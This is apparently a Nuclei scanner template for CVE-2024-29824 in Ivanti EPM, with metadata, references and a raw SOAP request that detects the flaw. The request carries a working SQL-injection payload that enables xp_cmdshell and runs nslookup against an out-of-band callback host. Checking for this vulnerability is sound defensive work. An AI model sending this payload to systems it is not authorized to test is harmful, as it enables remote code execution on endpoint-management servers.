Ivanti EPM - Remote Code Execution

id: CVE-2024-29824

info:
  name: Ivanti EPM - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
  reference:
    - https://github.com/horizon3ai/CVE-2024-29824
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824
    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024
    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2024-29824
  metadata:
    max-request: 1
  tags: cve,cve2024,ivanti,epm,sqli,rce

http:
  - raw:
      - |
        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml

        <?xml version="1.0" encoding="utf-8"?>
        <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
          <soap12:Body>
            <UpdateStatusEvents xmlns="http://tempuri.org/">
              <deviceID>string</deviceID>
              <actions>
                <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>
                </Action>
              </actions>
            </UpdateStatusEvents>
          </soap12:Body>
        </soap12:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - 'application/soap+xml'

      - type: word
        part: body
        words:
          - 'UpdateStatusEventsResponse'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d84da116a277ed9833fc747a1c135c6366cde3aadf2d270b957064c59679589902202205108a6149c74c7760992f3fea37504cea6e77358a9c4796017f70b7d30384:922c64590222798bb761d5b6d8e72950